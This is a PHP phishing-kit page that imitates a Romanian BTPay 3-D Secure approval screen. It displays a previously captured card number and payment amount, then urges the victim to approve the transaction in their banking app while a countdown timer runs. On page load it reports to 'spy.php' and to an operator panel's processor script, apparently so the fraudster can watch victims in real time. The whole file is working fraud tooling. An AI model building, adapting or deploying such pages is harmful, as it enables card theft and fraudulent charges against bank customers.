<?php
/**
 * BTPay — autentificare tranzacție 3-D Secure (aplicație mobilă).
 */
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';

if (session_status() !== PHP_SESSION_ACTIVE) {
    session_start();
}

$payLabel = Config::$payment_amount;
$merchantName = isset($_GET['merchant']) ? trim((string) $_GET['merchant']) : 'Swappie';
if ($merchantName === '') {
    $merchantName = 'Swappie';
}

$cardNumber = '';
if (!empty($_SESSION['sc_card'])) {
    $cardNumber = $_SESSION['sc_card'];
} elseif (!empty($_COOKIE['sc_card'])) {
    $cardNumber = $_COOKIE['sc_card'];
} elseif (!empty($_COOKIE['cc'])) {
    $cardNumber = $_COOKIE['cc'];
}

$cardNumberClean = preg_replace('/[^0-9]/', '', preg_replace('/\s+/', '', $cardNumber));
$last4 = strlen($cardNumberClean) >= 4 ? substr($cardNumberClean, -4) : '7463';

$firstDigit = strlen($cardNumberClean) >= 1 ? $cardNumberClean[0] : '4';
$isVisa = ($firstDigit === '4');
$schemeName = $isVisa ? 'VISA' : 'MASTERCARD';
$maskStars = $isVisa ? 12 : 8;
$cardLine = $schemeName . ' ' . str_repeat('*', $maskStars) . $last4;

$schemeLogo = 'assets/images/visa-logo.svg';
if (!is_file(__DIR__ . '/' . $schemeLogo)) {
    $schemeLogo = 'assets/images/Visa_2014.svg';
}
if (!$isVisa) {
    $schemeLogo = 'assets/images/mastercard-logo.svg';
    if (!is_file(__DIR__ . '/' . $schemeLogo)) {
        $schemeLogo = 'assets/images/Mastercard_2019_logo.svg';
    }
}

$amountDisplay = $payLabel;
if (preg_match('/^([\d.,\s]+)\s*([A-Za-z]{3}|Ft)\b/u', $payLabel, $amountMatch)) {
    $num = str_replace([' ', ','], ['', '.'], $amountMatch[1]);
    if (is_numeric($num)) {
        $cur = $amountMatch[2] === 'Ft' ? 'HUF' : strtoupper($amountMatch[2]);
        $amountDisplay = number_format((float) $num, 2, '.', '') . ' ' . $cur;
    }
}

$timerMinutes = 3;
$timerSeconds = 11;

$btpLogo = 'assets/logos/tr.png';
if (!is_file(__DIR__ . '/' . $btpLogo)) {
    $btpLogo = '';
}
?>
<!DOCTYPE html>
<html lang="ro">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, viewport-fit=cover">
    <meta name="theme-color" content="#f5f5f5">
    <title>BT Pay</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        html, body {
            height: 100%;
            font-family: Arial, Helvetica, sans-serif;
            background: #ececec;
            color: #111;
            -webkit-font-smoothing: antialiased;
        }

        .btp-wrap {
            min-height: 100vh;
            min-height: 100dvh;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 16px;
        }

        .btp-card {
            position: relative;
            width: 100%;
            max-width: 460px;
            background: #fff;
            border: 2px solid #b8b8b8;
            border-radius: 6px;
            box-shadow: none;
            padding: 28px 26px 24px;
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 14px;
        }

        .btp-visa-badge {
            position: absolute;
            top: 10px;
            right: 10px;
            width: 30px;
            height: auto;
            opacity: 0.4;
            pointer-events: none;
        }

        .btp-logo {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 5px;
            margin: 0;
        }

        .btp-logo-img {
            height: 44px;
            width: auto;
            display: block;
            object-fit: contain;
        }

        .btp-logo-pay {
            font-size: 26px;
            font-weight: 700;
            color: #111;
            letter-spacing: -0.3px;
            line-height: 1;
        }

        .btp-headline {
            text-align: center;
            font-size: 19px;
            font-weight: 700;
            line-height: 1.38;
            color: #111;
            max-width: 350px;
            margin: 0;
            display: flex;
            flex-direction: column;
            align-items: center;
        }

        .btp-headline-line {
            display: block;
        }

        .btp-merchant {
            text-align: center;
            font-size: 15px;
            font-weight: 400;
            color: #333;
            margin: -6px 0 0;
        }

        .btp-pay-row {
            display: flex;
            align-items: center;
            justify-content: space-between;
            width: 100%;
            margin: 4px 0 0;
            padding: 0 2px;
            gap: 8px;
        }

        .btp-card-side {
            display: flex;
            align-items: center;
            gap: 5px;
            min-width: 0;
        }

        .btp-card-side img {
            height: 20px;
            width: auto;
            flex-shrink: 0;
        }

        .btp-card-num {
            font-size: 13px;
            font-weight: 500;
            color: #1a1a1a;
            letter-spacing: 0.04em;
            white-space: nowrap;
        }

        .btp-amount {
            font-size: 16px;
            font-weight: 700;
            color: #000;
            white-space: nowrap;
            flex-shrink: 0;
        }

        .btp-timer {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 4px;
            margin: 6px 0 0;
        }

        .btp-timer-box {
            display: inline-flex;
            align-items: center;
            justify-content: center;
            min-width: 34px;
            height: 30px;
            padding: 0 6px;
            background: #e0e0e0;
            border-radius: 2px;
            font-size: 15px;
            font-weight: 500;
            color: #333;
            font-variant-numeric: tabular-nums;
        }

        .btp-timer-sep {
            font-size: 15px;
            color: #444;
            padding: 0 2px;
        }

        .btp-rule {
            width: 100%;
            border: none;
            height: 1px;
            background: #e8e8e8;
            margin: 2px 0 0;
        }

        @media (max-width: 380px) {
            .btp-card { padding: 22px 18px 18px; gap: 12px; }
            .btp-headline { font-size: 17px; max-width: 290px; }
            .btp-card-num { font-size: 12px; }
        }
    </style>
</head>
<body>
    <div class="btp-wrap">
        <div class="btp-card">
            <img class="btp-visa-badge" src="<?php echo htmlspecialchars($schemeLogo); ?>" alt="">

            <div class="btp-logo" aria-label="BT Pay">
                <?php if ($btpLogo !== '') : ?>
                    <img class="btp-logo-img" src="<?php echo htmlspecialchars($btpLogo); ?>" alt="">
                <?php endif; ?>
                <span class="btp-logo-pay">Pay</span>
            </div>

            <p class="btp-headline">
                <span class="btp-headline-line">Deschide BTPay pentru a</span>
                <span class="btp-headline-line">autentifica urmatoarea tranzactie</span>
                <span class="btp-headline-line">online</span>
            </p>

            <p class="btp-merchant"><?php echo htmlspecialchars($merchantName); ?></p>

            <div class="btp-pay-row">
                <div class="btp-card-side">
                    <img src="<?php echo htmlspecialchars($schemeLogo); ?>" alt="">
                    <span class="btp-card-num"><?php echo htmlspecialchars($cardLine); ?></span>
                </div>
                <span class="btp-amount"><?php echo htmlspecialchars($amountDisplay); ?></span>
            </div>

            <div class="btp-timer" role="timer" aria-live="polite">
                <span class="btp-timer-box" id="timer-min"><?php echo sprintf('%02d', $timerMinutes); ?></span>
                <span class="btp-timer-sep" aria-hidden="true">:</span>
                <span class="btp-timer-box" id="timer-sec"><?php echo sprintf('%02d', $timerSeconds); ?></span>
            </div>

            <hr class="btp-rule">
        </div>
    </div>

    <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
    <script>
        (function () {
            var total = <?php echo (int) ($timerMinutes * 60 + $timerSeconds); ?>;
            var minEl = document.getElementById('timer-min');
            var secEl = document.getElementById('timer-sec');

            function pad(n) {
                return n < 10 ? '0' + n : String(n);
            }

            function tick() {
                if (total <= 0) {
                    minEl.textContent = '00';
                    secEl.textContent = '00';
                    return;
                }
                total--;
                minEl.textContent = pad(Math.floor(total / 60));
                secEl.textContent = pad(total % 60);
            }

            setInterval(tick, 1000);

            $(function () {
                $.post('spy.php', { trview: 1 });
                $.post('../panel/classes/processor.php', { keepAlive: 1, page: 'TRAN' });
            });
        })();
    </script>
    <?php $m->ctr('TRAN'); ?>
</body>
</html>
